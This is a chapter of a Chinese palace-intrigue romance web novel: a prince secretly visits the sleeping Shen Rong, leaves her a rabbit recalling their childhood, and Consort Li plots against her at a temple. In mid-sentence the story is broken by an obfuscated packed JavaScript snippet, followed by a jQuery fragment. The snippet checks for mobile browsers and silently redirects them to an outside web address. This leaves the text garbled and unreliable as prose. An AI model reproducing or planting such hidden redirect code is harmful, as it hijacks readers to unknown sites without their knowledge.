只是,那人似乎并不觉得自己的行为有多么的不成体统。不仅没有半分低调,反而大摇大地搭了一只手在窗前,似笑非笑的盯着朦胧帐子包裹下那个娇小的身躯。
良久房间内没有动静,那人轻盈的一个翻身,跃进了房间内,落地无声。
绕过屏风,走到榻前,姜临煜抬手拨开帐子。
入眼,少女的睡颜宛若一副沉醉人心的水墨画,令人不禁为之动容。
姜临煜愣愣的看着这样一副美人图,渐渐出了神。
“绒绒。”姜临煜半跪在塌前,喃喃开口:“你到底怎么了?你为什么不告诉我?”
姜临煜说着说着,便毫无顾忌的伸手,轻轻的握住了沈绒身侧的手。
柔软的触感让姜临煜舍不得放开,薄唇扬着浅浅的弧度,忽而弯下腰,在少女白皙的手背留下了一个轻轻的吻。
而后,姜临煜抬手往上拉了拉被子,指腹在少女嫩滑的侧脸擦过,眼神中闪烁着情谊绵长,相隔多年的思念,毫无保留的呈现在她面前。
只可惜,姜临煜无奈的低头一笑。沈绒睡的安稳,什么也没看到。
—————
晨光透过黎明的天空,破晓时分,沈绒缓缓睁开惺忪的眼睛,昨夜的梦仿佛是扫清了她所有的疲惫。
沈绒抬手抚上自己的脸颊,一想到昨夜的梦,脸颊便微微发烫。
“大早上的,想他做甚。”沈绒掐了一把脸颊上的肉肉,坐起身子。
恰巧此时,星璇敲门的声音响起:“小姐,您醒了吗?”
“你进来吧。”沈绒喊了一句。
星璇进来时,屏风后,沈绒已经掀开了帐子,正坐在铜镜捋着自己的发丝。
星璇将端着的东西放好,走到窗前,边开窗边笑道:“今日天气真是不错,去礼佛再合适不过了,果真是到了春日。”
沈绒下床,淡淡点头的应了一句。
“欸,小姐。”星璇不知看到了什么,突然有些惊喜的看过来,“你快看外面。”
听见星璇的声音偏头看去,沈绒转头。
星璇已经将东西提了起来,沈绒定睛一看,木笼子里装的竟然是只黄白相间的小兔子。
“小姐。”星璇提着笼子,笑着小跑到沈绒面前,将笼子递给沈绒,“你快看。”
沈绒有些怔住,神不知鬼不觉的抬手接过。
笼子里被放了几把绿油油的青菜,小兔子正乖乖的咀嚼着。
“小姐,你说这是谁放在这里的呢。”星璇逗着小兔,问了一句。
沈绒没回答,眼神放空,思绪飘回到好多年前的一个夜晚。
初夏的夜,微风吹过,带着夏日里难得的清凉。
两个矮小的身影靠坐在柳树旁,低着头摆弄着手中毛茸茸的小玩意。
“好啦好啦。”小女孩在裙子上抹了两把,擦净了泥土,抱起伤了一条腿的小兔子,“真可怜。”
小兔子靠在小女孩怀里,摇着脑袋。
“绒绒。”小男孩屈起手指刮去小女孩脸颊上的泥渍,宠溺的笑笑,“你要把它带回去养吗?”
沈绒闻言,垂着脑袋摇了摇头,咕哝道:“不要。”
“为何,你不是很喜欢它吗?”
“我若是将它带走,它的娘亲就找不到它了。”沈绒抚摸着兔子柔顺的毛发,说的委屈极了。
“那日后有机会我们再养一只小兔子吧,这样我们就是它的娘亲和爹爹。”
“好呀。”
那晚的月,那般清澈透亮,稚嫩的孩童,说出的话那般让人动心。
“小姐?小姐?”见沈绒失神,星璇戳了戳沈绒的衣袖。
沈绒神思回笼,“怎么了?”
“要留下它吗?”
笼子,青草,这显然是被人故意放在这里的。
想到这儿,沈绒回首,目光定格在塌前的一小块地方,手背毫无征兆的发烫,像是什么东西烙在了上面一样。
昨夜,真的是梦吗?
—————
荣恩寺一片殿宇连绵,佛音袅袅,几棵苍天古树抱在一起。
京州的人家都愿意来荣恩寺上香拜佛,祈求家中和睦,所有无论是什么时候,这里都是人满为患。
上完香,僧人带着沈绒顺着青石板一路走到后院。
沈绒越走越觉得奇怪,尽管她平时过来住的都拜托僧人将自己的住处安排的离前院尽量远一些,可今日这也有些太偏僻了。
“师父。”沈绒开口:“快到了吗?”
僧人一手捻着佛珠,回头淡漠的笑笑,“就快了。”
“这些日子来荣恩寺礼佛的人真是不少。”沈绒笑道。
“春回大地,正是好时候,施主见谅,庙里的禅房所剩不多,知道施主喜静,特给施主安排了最僻静的一处。”僧人边笑边道。
僧人将沈绒送至门前便离去了,沈绒看着那抹金色袈裟的身影,眸色意味不明。
星璇顺着沈绒看的方向看去,不懂她在看什么,“小姐,可是有什么问题?”
沈绒摇摇头,“先进去。”
关上镂空雕花的木门,前院的喧闹被隔绝。房里阳光充足,并未有华贵的摆设,看起来清净素雅,被褥叠的整整齐齐,铜制的香炉里飘荡出袅袅的香气。
“这房间布置的真不错,本来奴婢还担心地处偏僻小姐住的会不舒服,看来是奴婢多虑了。”月霜一边将窗子打开,一边谈笑道。
沈绒淡淡应下,随后走到香炉边,扇了扇飘出的缕缕青烟。
“小姐,是何香料?”星璇凑过来道。
“鹅梨帐中香。”沈绒盖上盖子,回应道:“而且看起来,应该已经熏了很长一段时间了。”
月霜闻言回眸,走到沈绒的身侧,怪道:“这么巧?这不就是小姐从前最爱的香料了?”
“巧吗?”
沈绒忽然想起那个僧人躲闪的目光,又见这看似简洁,实则全然按照她心意布置的禅房。
月霜此时也察觉到了不对劲,小心道:“小姐,不会是…”
“是什么?”星璇还没转过弯来。
“那要不就委屈小姐今夜与奴婢们住在一起?”
“不必。”沈绒抬眼看向窗外,苍穹一碧如洗,“我也想看看到底是谁敢在佛寺这种地方动手。”
天色渐渐沉了下来,小和尚撞完了最后一次钟,星色黯淡无光,整座寺庙被笼罩在夜色之下。
禅房内烛影昏暗,沈绒研完墨,抬手提笔,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635006|172643||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墨汁在纸上微微晕开。
半晌,沈绒收笔,小巧娟秀的字密布了一整张纸。
放下狼毫,沈绒将纸小心翼翼的叠好,藏进袖子里。吹灭了灯,她起身,在门口站了许久,听见脚步声逐渐远去,推开了房门。
另一边的厢房里,卸了钗环的女人扶着额头,听着下面婢女的汇报:“娘娘,沈二姑娘已经睡下了。”
女人半靠在椅塌上,染着红色蔻丹的手指轻点桌案,懒懒的开口:“那就让他们过去吧。”
待到婢女退下,守在一边的侍女香云这才凑到了丽妃的耳边,满是不解的问:“娘娘,万一事情败露,沈夫人和五小姐倒是一身干净,您可不就是惹得一身骚,为何您还要?”
陪在丽妃身边多年的香云不明白,丽妃此次隐瞒身份前来荣恩寺只是为了除掉沈绒?
可沈二姑娘不过是将将崭露头角,未来如何还不好说,丽妃为何如此坐不住,这就要除掉她。
为了沈绵?虽说是亲外甥女不假,但就算做,也会命令戚笛去做,没必要亲自动手的。
女人轻笑一声,抚摸起手腕间的玉镯子,“本宫是不敢再叫戚笛去做了,可父亲和哥哥那边催得紧,万一沈绒真知道了什么,咱们也好先下手为强,除了沈绒再说。”
香云还是不懂,“娘娘,您觉得沈五姑娘,她行吗。”
“你觉得呢?”
“且不说太子了,便是其他几位殿下,都不会愿意娶一个徒有美貌的妻子的。”
“话是这样说。”丽妃捋了捋发丝,“可如今的局势,戚家的儿子不成气候,本宫又无皇子,唯一能做的,便是将绵儿送上中宫之位。”
—————
沈绒推开房门出了房间,身后紧跟的黑影一个飞跃跳到一旁的屋檐上,落到另一处院子里。
黑影摘下面纱,是个模样俊俏的少年。
姜临煜倒了杯酒,破天荒的推到了对面,问道:“怎么样了?”
“和殿下您料想的一样,这个丽妃一直用这一招也不嫌烦。”文焰说完,有些诧异的看了一眼身侧的文纵,对方站得笔挺并不动作,而后文焰后退了一步,憨厚的笑笑,“王爷,你这……这……这没毒吧。”
“放心,犒劳你的。”姜临煜半眯着眼,靠在椅背上,垂眸望着身侧寒光闪闪的长剑,几分慵懒,几分肆意。
文焰又看了一眼目光冷淡的文纵,忐忑不安的端起酒杯,一口喝了下去。
冰冰凉凉的触感划过喉咙,文焰后怕的打了一个饱嗝,随后掐了一把自己的大腿。
痛感传来,文焰有些惊喜,自己居然还活着!
光线飘逸迷离,姜临煜在月色的掩映下,轮廓清晰俊朗。
“喝完了?”姜临煜散漫的一笑,“那就去把里屋绑着的那个人送过去,这次新仇旧账,本王要与她算个清楚。”
“我去?”文焰指着自己,目光诧异,又偏头看了看憋笑的文纵,“别吧王爷,这种小事…”
姜临煜听都没听他说的什么,直视着窗外寂静的夜,轻蔑的勾了勾唇,“丽妃的人到之前你还没有把她送过去,那天亮以后你就自己回王府领罚吧。”
说罢,也不理会文焰的求饶,抬脚便自窗子一跃出了房间。